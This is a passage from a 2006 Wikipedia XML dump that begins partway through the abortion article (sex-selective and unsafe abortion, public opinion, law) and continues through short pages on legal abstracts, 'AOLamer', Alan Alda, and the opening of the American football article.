In [[India]], the [[economic]] role of [[men]], the costs associated with [[dowry| dowries]], and a [[Hindu]] tradition which dictates that [[funeral|funeral rites]] must be performed by a male relative have lead to a [[culture| cultural]] preference for [[son]]s. {{ref|sexselective2}}  The widespread availability of diagnostic testing, during the 1970s and '80s, lead to advertisements for services which read, &quot;Invest 500 [[rupee]]s [for a sex test] now, save 50,000 rupees [for a dowry] later.&quot; {{ref|sexselective3}} In 1991, the male-to-female [[sex ratio]] in India was skewed from its biological norm of 105 to 100, to an average of 108 to 100. {{ref|sexselective4}} Researchers have asserted that between 1985 and 2005 as many as 10 million female fetuses may have been selectively aborted. {{ref|india1}} The Indian government passed an official ban of pre-natal sex screening in 1994 and moved to pass a complete ban of sex-selective abortion in 2002. {{ref|sexselective5}}

In the [[People's Republic of China]], there is also a historic son preference. The implementation of the [[one-child policy]] in 1979, in response to population concerns, lead to an increased disparities in the sex ratio as parents attempted to circumvent the law through sex-selective abortion or the abandonment of unwanted [[daughter]]s. {{ref|sexselective6}} Sex-selective abortion might be a part of what is behind the shift from the baseline male-to-female birth rate to an elevated national rate of 117:100 reported in 2002.  The trend was more pronounced in rural regions: as high as 130:100 in [[Guangdong]] and 135:100 in [[Hainan]]. {{ref|sexselective7}} A ban upon the practice of sex-selective abortion was enacted in 2003. {{ref|sexselective8}}

===Unsafe abortion===
{{main|Unsafe abortions}}

Where and when access to safe abortion has been barred, due to explicit sanctions or general unavailability, women seeking to terminate their pregnancies have sometimes resorted to unsafe methods.

&quot;[[Back-alley abortion]]&quot; is a [[slang]] term for any abortion not practiced under ideal conditions of [[sanitation]] and [[professional| professionalism]]. The [[World Health Organization]] defines an unsafe abortion as being, &quot;a procedure...carried out by persons lacking the necessary skills or in an environment that does not conform to minimal medical standards, or both.&quot; {{ref|unsafe1}} This can include a person without medical training, a professional health provider operating in sub-standard conditions, or the woman herself. 

Unsafe abortion remains a [[public health]] concern today due to the higher incidence and severity of its associated complications, such as incomplete abortion, [[sepsis]], [[hemorrhage]], and damage to internal organs. WHO estimates that 19 million unsafe abortions occur around the world annually and that 68,000 of these result in the death of a woman. {{ref|unsafe1}} Complications of unsafe abortion are said to account, globally, for approximately 13% of all [[maternal death|maternal mortalities]], with regional estimates including 12% in [[Asia]], 25% in [[Latin America]], and 13% in [[sub-Saharan Africa]]. {{ref|unsafe2}} [[Health education]], access to [[family planning]], and improvements in [[healthcare]] during and after abortion have been proposed to address this phenomenon. {{ref|unsafe3}}

==Abortion debate==
[[Image:Prolife-DC.JPG|thumb|right|240px||Pro-life activists in Washington, DC stage a silent demonstration before the Supreme Court.]]
{{main|abortion debate}}

Over the course of the [[history of abortion]], induced abortions have been a source of considerable [[debate]] and [[controversy]] regarding the morality and legality of this practice. An individual's position on the complex [[ethical]], [[moral]], [[philosophical]], [[biological]], and [[legal]] issues have a strong relationship with that individual's [[value system]]. A person's position on abortion may be best described as a combination of their personal beliefs on the morality of abortion, and that person's beliefs on the ethical scope and responsibility of legitimate [[government|governmental]] and legal [[authority]]. Another factor for many individuals is [[religion|religious]] doctrine (see [[religion and abortion]]).

Abortion debates, especially pertaining to [[abortion law]]s, are often spearheaded by [[advocacy|advocacy groups]] belonging to one of two camps. Most often those in favor of legal prohibition of abortion describe themselves as [[pro-life]] while those against legal restrictions on abortion describe themselves as [[pro-choice]].  Both are used to indicate the central principles in arguments for and against abortion:  &quot;Is the fetus a human being with a fundamental right to ''life''?&quot; for pro-life advocates, and, for those who are pro-choice, &quot;Does a woman have the right to ''choose'' whether or not to have an abortion?&quot;

In both public and private debate, arguments presented in favor of or against abortion focus on either the moral permissibility of an induced abortion, or justification of [[laws]] permitting or restricting abortion. Arguments on morality and legality tend to collide and combine, complicating the issue at hand.

Debate also focuses on whether the [[pregnancy|pregnant]] woman should have to notify and/or have the [[consent]] of others in distinct cases: a [[minor (law)|minor]] her parents; a [[marriage|legally-married]] or [[common-law marriage|common-law]] wife her husband; or a pregnant woman the biological father.  In a 2003 [[Gallup]] poll in the [[United States]], 72% of respondents were in favor of spousal notification, with 26% opposed; of those polled, 79% of males and 67% of females responded in favor. {{ref|abortiondebate1}}

===Public opinion===
Political sides have largely been divided into [[moral absolutism|absolutes]]. The abortion debate, as such, tends to center around individuals who hold strong positions. However, public opinion varies from poll to poll, country to country, and region to region:

*'''Australia''': In a February 2005 [[AC Nielsen]] poll, as reported in [[The Age]], 56% thought the [[Abortion in Australia|current abortion laws]], which generally allow abortion for the sake of life or health, were &quot;about right,&quot; 16% want changes in law to make abortion &quot;more accessible,&quot; and 17% want changes to make it &quot;less accessible.&quot; {{ref|publicopinion1}} A 1998 poll, conducted by Roy Morgan Research, asked, &quot;Do you approve of the termination of unwanted pregnancies through surgical abortion?&quot; 65% of the [[Australia| Australians]] polled stated that they approved of surgical abortion and 25% stated that they disapproved of it. {{ref|publicopinion2}}

* '''Canada''': A recent poll of [[Canadians]], conducted in April 2005 by [[Gallup]], found that  52% of those polled want abortion laws to &quot;remain the same,&quot; 20% want the laws to be &quot;less strict,&quot; and 24% would prefer that the laws become &quot;more strict.&quot; An earlier Gallup poll, from December 2001, asked, &quot;Do you think abortions should be legal under any circumstances, legal only under certain circumstances or illegal in all circumstances and in what circumstances?&quot; 32% of Canadians responded that they believe abortion should be legal in all circumstance, 52% that it should be legal in certain circumstances, and 14% that it should be legal in no circumstances. See [[Abortion in Canada]].

*'''Ireland''': A 1997 [[Irish Times]]/MRBI poll of the [[Republic of Ireland|Republic of Ireland's]] electorate found that 18% believe that abortion should never be permitted, 35% that one should be allowed in the event that the woman's life is threatened, 18% if her health is at risk, 28% that &quot;an abortion should be provided to those who need it,&quot; and 5% were undecided. {{ref|publicopinion3}}

* '''The United Kingdom''': An online [[YouGov]]/[[Daily Telegraph]] poll in August 2005 found that 30% of [[The United Kingdom| Britons]] would back a measure to reduce the legal limit for abortion to 20 weeks, 19% support a limit of 12 weeks, 9% support a limit of less than 12 weeks, and 25% support maintaining the current limit of 24 weeks. 6% responded that abortion should never be allowed while 2% said it should be permitted throughout the entirety of pregnancy. {{ref|publicopinion4}}

* '''The United States''': In a January 2006 [[CBS News]] poll, which asked, &quot;What is your personal feeling about abortion?&quot;, 27% said that abortion should be &quot;permitted in all cases,&quot; 15% that it should be &quot;permitted, but subject to greater restrictions than it is now,&quot; 33% that it should be &quot;permitted only in cases such as rape, incest or to save the woman's life,&quot; 17% that it should &quot;only be permitted to save the woman's life,&quot; and 5% that it should &quot;never&quot; be permitted. {{ref|publicopinion5}} A November 2005 [[Pew Research Center]] poll asked &quot;In 1973 the Roe versus Wade decision established a woman's constitutional right to an abortion, at least in the first three months of pregnancy. Would you like to see the Supreme Court completely overturn its Roe versus Wade decision, or not?&quot;, with 29% indicating they want it overturned, and 65% that they do not. {{ref|publicopinion6}}

==Abortion law==
{{main|Abortion law}}

[[Image:AbortionLawsMap.png|thumb|250px|right|International status of abortion law]]
The [[Soviet Union]] (1920) and [[Iceland]] (1935) were some of the first countries to generally allow abortion. The second half of the twentieth century saw the liberalization of abortion laws in many other countries. In 1973, the [[U.S. Supreme Court]] struck down state laws banning abortion, ruling that such laws violated an inferred [[right to privacy]] in the [[U.S. Constitution]].  The [[Supreme Court of Canada]], similarly, discarded its criminal code regarding abortion in 1988, after ruling that such restrictions violated the security of person guaranteed to women under in the [[Canadian Charter of Rights and Freedoms]] in the case of [[R. v. Morgentaler]].  Canada later struck down provincial regulations of abortion in the case of [[R. v. Morgentaler (1993)]].  [[Ireland]], on the other hand, added an [[Eighth Amendment of the Constitution of Ireland| amendment]] to its [[Constitution of Ireland|Constitution]] in 1983 by popular referendum, recognizing &quot;the right to life of the unborn&quot; (see [[Abortion in Ireland]]).

Current laws pertaining to abortion are diverse. Religious, moral, and cultural sensibilities continue to influence abortion laws throughout the world. The [[right to life]], the right to [[liberty]], and the right to [[security of person]] are major issues of [[human rights]] that are sometimes used as justification for the existence or the absence of laws controlling abortion. Many countries in which abortion is legal require that certain criteria be met in order for an abortion to be obtained, often, but not always, using a [[trimester]]-based system to regulate the window in which abortion is still legal to perform:

* In the [[United States]], some states impose a 24-hour waiting period before the procedure, prescribe the distribution of information on [[fetal development]], or require that parents be contacted if their [[Minor (law)|minor]] daughter requests an abortion.
* In the [[United Kingdom]], as in some other countries, two doctors must first certify that an abortion is medically or socially necessary before it can be performed.
Other countries, in which abortion is illegal, will allow one to be performed in the case of [[rape]], [[incest]], or danger to the pregnant woman's life or health. A handful of nations ban abortion entirely, such as [[Chile]], [[El Salvador]], and [[Malta]].

==See also==
*[[Abortion in Australia]]
*[[Abortion in Canada]]
*[[Abortion in Ireland]]
*[[Abortion in the United Kingdom]]
*[[Abortion in the United States]]
*[[Adoption]]
*[[Partial-birth abortion]]
*[[Pregnancy]]
*[[Religion and abortion]]
*[[Selective reduction]]
*[[Self-induced abortion]]
*[[Wrongful abortion]]

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# {{note|unsafe2}} Salter, C., Johnson, H.B., and Hengen, N. (1997). [http://www.infoforhealth.org/pr/l10edsum.shtml Care for postabortion complications: saving women's lives]. ''Population Reports, 25 (1).'' Retrieved [[2006-02-22]].
# {{note|unsafe3}} World Health Organization. (1998). [http://www.who.int/docstore/world-health-day/en/pages1998/whd98_10.html Address Unsafe Abortion]. Retrieved [[2006-03-01]].
# {{note|abortiondebate1}} The Pew Research Center for the People and the Press. ([[2005-11-02]]). &quot;[http://people-press.org/commentary/display.php3?AnalysisID=122 Public Opinion Supports Alito on Spousal Notification Even as It Favors Roe v. Wade].&quot; ''Pew Research Center Pollwatch.'' Retrieved [[2006-03-01]].
# {{note|publicopinion1}} Grattan, Michelle. ([[2005-02-16]]). &quot;[http://www.theage.com.au/news/National/Poll-backs-abortion-laws/2005/02/15/1108230007300.html Poll backs abortion laws].&quot; ''The Age.'' Retrieved [[2006-01-11]].
# {{note|publicopinion2}} Roy Morgan International. ([[1998-03-03]]). [http://www.roymorgan.com/news/polls/1998/3058 Almost Two-Thirds Of Australians Approve Of Abortion]. Retrieved [[2006-01-11]].
# {{note|publicopinion3}} Kennedy, Geraldine. ([[1997-12-11]]). &quot;[http://www.ireland.com/newspaper/front/1997/1211/archive.97121100003.html 77% say limited abortion right should be provided].&quot; ''The Irish Times.'' Retrieved [[2006-01-11]].
# {{note|publicopinion4}} YouGov. ([[2005-07-30]]). [http://www.yougov.com/archives/pdf/TEL050101042_1.pdf YouGov/Daily Telegraph Survey Results]. Retrieved [[2006-01-11]].
# {{note|publicopinion5}} ''[http://www.pollingreport.com/abortion.htm The Polling Report].'' (2006). Retrieved [[2006-01-11]].
# {{note|publicopinion6}} The Pew Forum on Religion &amp; Public Life. ([[2005-11-29]]). [http://pewforum.org/docs/index.php?DocID=127 Abortion Seen as Most Important Issue for Supreme Court]. Retrieved [[2006-01-12]].

==External links==
{{wikiquote}}
* [http://www.johnstonsarchive.net/policy/abortion Abortion Statistics and Other Data]
*[http://annualreview.law.harvard.edu/population/abortion/abortionlaws.htm Abortion Laws of the World]
* [http://www.un.org/esa/population/publications/abortion Abortion Policies: A Global Review]

&lt;!-- HELP KEEP THIS ARTICLE SHORT AND SIMPLE: DO NOT ADD MORE LINKS TO &quot;BIASED&quot; SECTION. ADD THEM TO WHICHEVER SUB-ARTICLE WOULD BE APPROPRIATE INSTEAD. ALSO, PLEASE UNDERSTAND THAT SITES CONTAINING SHOCK MATERIAL SHALL, IN NO CASE, BE ACCEPTED. THANKS! !--&gt;
'''The following links may be biased:'''

* [http://www.abortion.com/ Abortion.com]
* [http://agi-usa.org/ The Alan Guttmacher Institute]
* [http://www.all.org/ American Life League]
* [http://www.care-net.org/ CareNet]
* [http://justfacts.com/abortion.htm Just Facts: Abortion]
* [http://www.plannedparenthood.com Planned Parenthood]


[[Category:Abortion|*]]

[[bg:Аборт]]
[[ca:Avortament]]
[[cs:Interrupce]]
[[da:Provokeret abort]]
[[de:Schwangerschaftsabbruch]]
[[es:Aborto]]
[[eo:Aborto]]
[[fr:Interruption volontaire de grossesse]]
[[id:Gugur kandungan]]
[[ia:Aborto]]
[[it:Aborto]]
[[he:הפלה מלאכותית]]
[[lt:Abortas]]
[[hu:Magzatelhajtás]]
[[nl:Abortus]]
[[ja:妊娠中絶]]
[[no:Abort]]
[[nn:Abort]]
[[pl:Aborcja]]
[[pt:Interrupção da gravidez]]
[[ru:Аборт]]
[[simple:Abortion]]
[[sr:Абортус]]
[[fi:Abortti]]
[[sv:Abort]]
[[tl:Aborsiyon]]
[[tr:Kürtaj]]
[[uk:Аборт]]
[[zh:堕胎]]
[[pam:Abortion]]</text>
    </revision>
  </page>
  <page>
    <title>Abstract (law)</title>
    <id>766</id>
    <revision>
      <id>35547123</id>
      <timestamp>2006-01-17T15:28:03Z</timestamp>
      <contributor>
        <username>Edcolins</username>
        <id>51336</id>
      </contributor>
      <comment>moved law-related part to proper article</comment>
      <text xml:space="preserve">In [[law]], an '''abstract''' is a brief statement that contains the most important points of a long [[legal document]] or of several related legal papers.

==Abstraction of Title==

The Abstraction of Title, used in [[real estate]] transactions, is the more common form of abstract. An abstract of title lists all the owners of a piece of land, a house, or a building before it came into possession of the present owner. The abstract also records all [[deed]]s, [[will (law)|wills]], [[mortgage]]s, and other documents that affect [[ownership]] of the property. An abstract describes a chain of transfers from owner to owner and any agreements by former owners that are binding on later owners.

==Clear Title==

A Clear Title to property is one that clearly states any obligation in the deed to the property. It reveals no breaks in the chain of legal ownership. After the records of the property have been traced and the title has been found clear, it is sometimes guaranteed, or insured. In a few states, a more efficient system of insuring title real properties provides for registration of a clear title with public authorities. After this is accomplished, no abstract of title is necessary.

== Patent law ==

In the context of [[patent]] law and specifically in [[prior art]] searches, searching through abstracts is a common way to find relevant prior art document to question to [[novelty (patent)|novelty]] or [[Inventive step and non-obviousness|inventive step]] (or [[Inventive step and non-obviousness|non-obviousness]] in [[United States]] patent law) of an invention.

==References==
* [[World Book]] encyclopedia 1988

==See also==
*[[Academic conference]]

== External links ==
* [http://www.wipo.int/pct/en/texts/rules/r8.htm Rule 8 PCT], defining the requirements regarding the abstract in an international application filed under [[Patent Cooperation Treaty]] (PCT)
* [http://www.european-patent-office.org/legal/epc/e/ar85.html Article 85] and [http://www.european-patent-office.org/legal/epc/e/r33.html Rule 33 EPC], defining the abstract-related requirements in a [[European Patent Convention|European patent application]]

{{law-stub}}

[[Category:Legal research]]</text>
    </revision>
  </page>
  <page>
    <title>A.E. van Vogt</title>
    <id>767</id>
    <revision>
      <id>15899284</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[A. E. van Vogt]]
</text>
    </revision>
  </page>
  <page>
    <title>AOLamer</title>
    <id>768</id>
    <revision>
      <id>36881334</id>
      <timestamp>2006-01-27T01:59:20Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>reduce linking to date elements</comment>
      <text xml:space="preserve">:''See also:'' [[Internet troll]]
An '''AOLamer''' or AOL Lamer is a person using [[AOL]] that posts [[flamebait]] or other [[off-topic]] [[message]]s in a [[newsgroup]] in order to disrupt the newsgroup.

During the early 1990s, many regular non-AOL internet newsgroup users routinely killed all messages coming from AOL as many of the messages coming from AOL were non-informative.

In addition, the term '''AOLamer''' is often used as a derogatory term for AOL subscribers by users of other internet service providers, who view AOL as a provider associated with people who know little about computers.

[[Category:America Online]]
[[Category:Internet trolling]]
[[fr:AOLamer]]
{{compu-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Alan Alda</title>
    <id>769</id>
    <revision>
      <id>41784133</id>
      <timestamp>2006-03-01T18:55:12Z</timestamp>
      <contributor>
        <ip>140.247.179.110</ip>
      </contributor>
      <comment>/* After ''M*A*S*H'' */</comment>
      <text xml:space="preserve">[[Image:Hawkeyepierce.gif|thumb|200px|right|Alan Alda as Benjamin Franklin &quot;Hawkeye&quot; Pierce]]
'''Alan Alda''' (born [[January 28]], [[1936]] as '''Alphonso Joseph D'Abruzzo''') is an [[United States|American]] [[actor]], [[writer]], [[film director|director]] and sometimes [[politics|political]] activist.  

He is most famous for his role as [[Hawkeye Pierce]] in the [[television]] series ''[[M*A*S*H (TV series)|M*A*S*H]]''. In the [[1970s]] and [[1980s]] he was viewed as the archetypal &quot;sensitive male&quot;, though in recent years he has appeared in roles which counter that image. 

==Family and early life==
Alda was born in [[New York City]]. His [[Italian American|Italian-American]] father, [[Robert Alda]] (born Alphonso Giuseppe Giovanni Roberto D'Abruzzo), was a successful actor, and his mother [[Joan Brown]] was crowned &quot;Miss New York&quot; in a [[beauty pageant]]. The adopted surname &quot;Alda&quot; is a contraction of &quot;'''AL'''phonso&quot; and &quot;'''D'A'''bruzzo&quot;.

When Alan Alda was growing up, his parents divorced.

Alan Alda contracted [[polio]] when he was seven years old, which kept him bedridden for two years as he received treatments.

Alan Alda's half-brother, [[Anthony Alda]] was christened '''Antonio D'Abruzzo''' on the 9th of [[December]] [[1956]].

He received his [[bachelor's degree]] from [[Fordham University]] in [[1956]]. During his junior year, he studied in [[Europe]] where he acted in a play in [[Rome]] and performed with his father on television in [[Amsterdam]]. After graduation, he joined the [[United States Army|U.S. Army Reserve]] and served a six-month tour of duty as a gunnery officer in Korea following the [[Korean War]]. A year after graduation, he married Arlene Weiss, with whom he has three daughters: Eve, Elizabeth and Beatrice. [[Arlene Alda]] is a well known photographer, author and clarinettist.

Raised as a devout [[Roman Catholic Church|Catholic]], he has since left the church but continues to celebrate religious holidays and events. His specific religious beliefs are difficult to define.

He is also an activist for [[feminism|feminist]] causes, and has been for many years.

==Acting career, fame, and ''M*A*S*H''==
Alda began his career in the [[1950s]] as a member of the [[Compass Players]] comedy revue.

In the eleven years (72-83) he starred in ''[[M*A*S*H (TV series)|M*A*S*H]]'', he was nominated for 21 [[Emmy Awards]] winning five. He wrote (or co-wrote) twenty episodes, and directed thirty episodes.  When he won his first Emmy Award for writing, he was so happy that he performed a [[cartwheel]] before running up to the stage to accept the award. He also was the first person to win Emmy Awards for acting, writing, and directing for the same series.  Interestingly enough, the late [[H. Richard Hornberger|Richard Hooker]], who wrote the novel on which ''M*A*S*H'' was based, did not like Alan Alda's portrayal of Hawkeye Pierce (Hooker had based Hawkeye on himself), though Hooker didn't care for the show in general.

==After ''M*A*S*H''==
Alda's prominence in the enormously successful ''M*A*S*H'' gave him a platform to speak out on political topics, and he has been a strong and vocal supporter of [[women's rights]]. As such, he has been something of a [[boogeyman]] for some political [[social conservative]]s who disagree with his views.

He has also appeared in at least two TV commercials.  Both of these were in the small-computer industry, first for [[Atari]] and later, with the rest of the ''M*A*S*H'' cast, for [[International Business Machines|IBM]]'s [[PS/2]] product line with [[Micro Channel architecture|MicroChannel architecture]].

[[Image:Alan_Alda.jpg|thumb|left|Alan Alda as Senator Vinick.]]
Alan Alda has also played [[Nobel Prize]]-winning physicist [[Richard Feynman]] in the play [[QED (play)|''QED'']], which has only one other character. Although [[Peter Parnell]] wrote the play, Alda both produced and inspired it. Alda has also appeared frequently in the films of [[Woody Allen]], and he has been a guest star five times on ''[[ER (TV series)|ER]]'', playing Dr. Gabriel Lawrence.

As of [[2004 in television|2004]], Alda is a regular cast member on the [[National Broadcasting Company|NBC]] program ''[[The West Wing (television)|The West Wing]]'', portraying [[Republican Party (United States)|Republican]] [[United States Senate|U.S. Senator]] and presidential hopeful [[Arnold Vinick]]. He made his premiere in the sixth season's tenth episode, &quot;In The Room&quot;, and was added to the opening credits with the thirteenth episode, &quot;King Corn.&quot;

Throughout his career, he has been nominated for the Emmy Award 31 times and the [[Tony Award]] twice, and has won seven [[People's Choice Award]]s, six [[Golden Globe]] awards, and three [[Director's Guild of America]] awards.  However, it was not until [[2004]], after a long acting career, that Alda received his first nomination for an Academy Award.  This was the [[Academy Award for Best Supporting Actor|Best Supporting Actor]] nomination for his role as Senator [[Ralph Owen Brewster]] in [[Martin Scorsese]]'s film ''[[The Aviator]]''. 

In the spring of 2005, Alda starred as Shelly Levene in the Tony Award-winning Broadway revival of [[David Mamet]]'s ''[[Glengarry Glen Ross]],'' for which he received a Tony Award nomination for Best Featured Actor in a Play.

It has become quite normal for Alda in his later roles to have some reference to his early work in ''M*A*S*H''. For instance, both the senator he played in ''The Aviator'' and Hawkeye Pierce came from [[Maine]]. In a line on ''ER'', his character mentions that he uses a surgical technique he picked up in a &quot;military hospital&quot;. The same character also undergoes a mental acuity test where he has to identify pictures of objects. He sees a funnel and identifies it as a martini glass without the base (Hawkeye Pierce was very fond of martinis).  Alda's ''West Wing'' character has also made at least one reference to [[Korea]] when he said, &quot;I could take these people to the [[Korean Demilitarized Zone|DMZ]] and it still wouldn't take their minds off ethanol and abortion&quot;).

In 2005, Alda published his first round of memoirs, ''Never Have Your Dog Stuffed: and Other Things I've Learned'', published by [[Random House]] (ISBN 1400064090). Among other stories, he recalls his [[intestine]]s becoming strangulated while on location in [[Chile]] for his PBS show ''[[Scientific American Frontiers]]''. He also talks about his mother's battle with [[schizophrenia]].

==Filmography==
*''[[Gone Are the Days!]]'' ([[1963]])
*''[[Paper Lion]]'' ([[1968]])
*''[[The Extraordinary Seaman]]'' ([[1969]])
*''[[Jenny (TV movie)|Jenny]]'' ([[1970]])
*''[[The Moonshine War]]'' ([[1970]])
*''[[The Mephisto Waltz]]'' ([[1971]])
*''[[To Kill a Clown]]'' ([[1972]])
*''[[The Glass House]]'' ([[1972]])
*''[[Kill Me If You Can(TV)]]'' ([[1977]])
*''[[Same Time, Next Year]]'' ([[1978]])
*''[[California Suite]]'' ([[1978]])
*''[[The Seduction of Joe Tynan]]'' ([[1979]]) (also writer)
*''[[The Four Seasons (movie)]]'' ([[1981]]) (also director and writer)
*''[[Sweet Liberty]]'' ([[1986]]) (also director and writer)
*''[[A New Life (1988 film)|A New Life]]'' ([[1988]]) (also director and writer)
*''[[Crimes and Misdemeanors]]'' ([[1989]])
*''[[Betsy's Wedding]]'' ([[1990]]) (also director and writer)
*''[[Whispers in the Dark]]'' ([[1992]])
*''[[Manhattan Murder Mystery]]'' ([[1993]])
*''[[Canadian Bacon]]'' ([[1995]])
*''[[Flirting with Disaster]]'' ([[1996]])
*''[[Everyone Says I Love You]]'' ([[1996]])
*''[[Murder at 1600]]'' ([[1997]])
*''[[Mad City]]'' ([[1997]])
*''[[The Object of My Affection]]'' ([[1998]])
*''[[Keepers of the Frame]]'' ([[1999]]) (documentary)
*''[[What Women Want]]'' ([[2000]])
*''[[The Aviator]]'' (2004)

==External links==
*[http://www.pbs.org/saf/alan_bio2.htm Bio on ''Scientific American Frontiers'']
*[http://helmi.home.pages.at/mash/english/cast/AlanAlda.html Comprehensive bio]
*[http://www.military.com/Careers/Content1?file=trans_alan_alda.htm&amp;area=Content Military Service]
*[http://www.geocities.com/TelevisionCity/5576/Alda.htm GeoCities fan site page]
* {{imdb name|id=0000257|name=Alan Alda}}
*[http://www.npr.org/templates/rundowns/rundown.php?prgId=13&amp;prgDate=21-Sep-05 Interview with Alda] on [[National Public Radio|NPR]]'s ''[[Fresh Air]]'' (September 21, 2005)
*[http://www.alanaldabook.com/ Never Have Your Dog Stuffed] web site
*[http://www.celebritypro.com/news/alan_alda Daily Alan Alda News]

 

[[Category:1936 births|Alda, Alan]]
[[Category:Actors and actresses appearing on ER|Alda, Alan]]
[[Category:Actors and actresses appearing on The West Wing|Alda, Alan]]
[[Category:American film actors|Alda, Alan]]
[[Category:American television actors|Alda, Alan]]
[[Category:Best Supporting Actor Oscar Nominee|Alda, Alan]]&lt;!-- The Aviator --&gt;
[[Category:Hollywood Walk of Fame|Alda, Alan]]
[[Category:Italian-Americans|Alda, Alan]]
[[Category:M*A*S*H actors|Alda, Alan]]
[[Category:People from New York City|Alda, Alan]]
[[Category:Roman Catholics|Alda, Alan]]
[[Category:Worst Supporting Actor Razzie Nominee|Alda, Alan]]
[[Category:Living people|Alda, Alan]]
[[Category:United States Army officers|Alda, Alan]]

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    </revision>
  </page>
  <page>
    <title>American football</title>
    <id>770</id>
    <revision>
      <id>42083877</id>
      <timestamp>2006-03-03T18:44:51Z</timestamp>
      <contributor>
        <username>Gwernol</username>
        <id>266416</id>
      </contributor>
      <comment>Revert to revision 42048568 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">&lt;!-- NOTE  TO EDITORS -- Remember, this is an *introductory* article to American football. It exists to give people who know little or nothing about the sport a basic understanding of the game. Information that does not fall under that description should go under [[American-football strategy]], [[American football rules]], etc. --&gt;
[[Image:Wilson American football.jpg|thumb|250px|right|The ball used in American football has a pointed [[oval]] or [[vesica piscis]] shape, and usually has a large set of stitches along one side.]]
{{about|the sport|the indie rock band|[[American Football (band)]]}}
'''American football''', known in the [[United States]] &lt;!--but not Canada; what they call &quot;football&quot;is actually the similar (but NOT identical) sport of Canadian football--&gt; simply as '''football''', is a competitive team [[sport]]. The object of the game is to advance the football towards the opposing team's [[end zone]] and score points. The ball can be advanced by carrying the ball, or by throwing or handing it from one teammate to the other. Points can be scored in a variety of ways, including carrying the ball over the goal line, throwing the ball to another player past the goal line or [[placekicker|kicking]] it through the goal posts. The winner is the team with the most points when the time expires.

Outside of the [[United States]] and a few other countries such as [[American Samoa]], the sport is usually referred to as ''American football'' (or sometimes as [[gridiron]]) to differentiate it from other football games, especially [[football (soccer)|association football (soccer)]] and [[rugby football]]. American football evolved as a separate sport from rugby football in the late 19th century. [[Arena football]] is a variant of American football.  In [[Canada]], the unqualified term &quot;football&quot; typically refers to [[Canadian football]], a game which is a close relative of American football but different in several respects.

==Popularity==
Since the 1960s, football has surpassed [[baseball]] as the most popular [[spectator sport]] in the United States. The 32-team [[National Football League]] (NFL) is the most popular and only [[major professional sports league|major]] professional American football [[Sports league|league]]. Its championship game, the [[Super Bowl]], is watched by nearly half of US television households, and is also televised in over 150 other countries. ''[[Super Bowl Sunday]]'' has become an annual ritual in late January or early February. Football is also the most watched sport on [[television]] in the US. 

The NFL also operates a developmental league, [[NFL Europe]], with 6 teams based in European cities.

[[Image:College_Football_CSU_AF.jpg|thumb|left|250px|A [[Colorado State University]] player runs with the ball as an [[United States Air Force Academy|Air Force Academy]] player lines up a tackle.]]
&lt;!-- Possible image copyright issue
[[Image:American football tackle.jpg|thumb|250px|American football is a physically demanding sport.]]
--&gt;
[[College football]] is also extremely popular throughout the U.S., especially in markets not served by an NFL team.  Several college football stadiums seat more than 100,000 fans -- which regularly sell out. Even [[high school]] football games can attract five-figure crowds, especially in [[hotbed]]s like Western [[Pennsylvania]], [[Nebraska]], [[Florida]], [[Georgia (U.S. state)|Georgia]] and most especially [[Texas]], [[Ohio]], and [[California]]. The weekly autumn ritual of college and high-school football -- which includes [[marching band]]s, [[cheerleading|cheerleaders]] and parties (including the ubiquitous [[tailgate party]]) -- is an important part of the culture in much of [[small-town|smalltown America]].  It is a long-standing tradition in the United States (though not universally observed) that high school football games are played on [[Friday]], college games on [[Saturday]], and professional games on [[Sunday]] (with an additional professional game on [[Monday]] nights--see ''[[Monday Night Football]]'').  It is often said of an outstanding college football player that he is likely to &quot;be playing on Sundays one day&quot;, meaning that he is a good pro prospect.

Certain fall and winter [[holiday]]s--most notably [[Thanksgiving]], [[Christmas]], and [[New Years' Day]]--have traditional football games associated with them.

Football is also played recreationally by amateur club and youth teams (e.g., the [[Pop Warner]] little-league programs). There are also many &quot;semi-pro&quot; teams in leagues where the players are paid to play, but at a small enough salary that they generally must also hold a full-time job.

Pro football is played only in the United States and in the above-mentioned NFL Europe league. The sport is popular as an amateur activity in [[Mexico]] and [[American Samoa]] and to a lesser extent in [[Japan]], [[Europe]] and [[Australia]].

A very similar sport, [[Canadian football]], is widely played in [[Canada]].

Organized football is played almost exclusively by men and boys, although a few amateur and semi-professional women's leagues have begun play in recent years.

==The rules of American football==
{{See also|American football rules}}
&lt;!--This section should only be a basic tutorial. Lengthy content should go to [[American football rules]]--&gt;

The object of American football is to score more points than the opposing team within a set time limit.

===Field and players===
[[Image:AmFBfield.png|right|frame|The numbers on the field indicate the number of [[yard]]s to the nearest end zone.]]

The field is often called the ''gridiron'' because the markings on the field resemble a [[Grill (cooking)|grill]]. The game is played on a rectangular field 120 [[yard]]s (110 [[metre]]s) long by 53 1/3 yards (49 metres) wide. The longer boundary lines are ''sidelines'', while the shorter boundary lines are ''end lines''. Near each end of the field is a ''goal line''; they are 100 yards apart. A scoring area called an ''[[end zone]]'' extends 10 yards beyond each goal line to each end line.

''Yard lines'' cross the field every 5 yards, and are numbered from each goal line to the 50-yard line, or midfield (similar to a typical [[rugby league]] field). Two rows of lines, known as ''hash marks'', parallel the side lines near the middle of the field. All plays start with the ball on or between the hash marks.

At the back of each end zone are two ''goal posts'' (also called ''uprights'') that are 18.5 feet apart. The posts are connected by a crossbar 10 feet from the ground. Successful kicks must go above the crossbar and between the uprights.  (At many fields the uprights and crossbar are attached by a curved bar to a post outside the field of play, to reduce the chance of players running into the supports.)

Each team has 11 players on the field at a time. However, teams may substitute for any or all of their players between plays. As a result, players have very specialized roles, and almost all of the 53 players on an NFL team will play in any given game. Thus, teams are divided into three separate units: the [[offensive team|offense]], the [[defensive team|defense]] and the [[special teams]] (see below). In the NFL, players' [[jersey number]]s are distributed according to a strict system (e.g. quarterbacks always wear between 1-19).

===Game duration===
A standard football game consists of four 15-minute (typically 12 minutes in high school football) periods (called quarters), with an intermission (called halftime) after the second quarter. The clock stops after certain plays; therefore, a game can last considerably longer (often more than three hours in real time). If an NFL game is tied after four quarters, the teams play up to another 15 minutes. In an NFL overtime game, the first team that scores wins; if neither team scores, the game is a tie. College overtime rules are more complicated and are described at [[Overtime (sport)]].

===Advancing the ball===
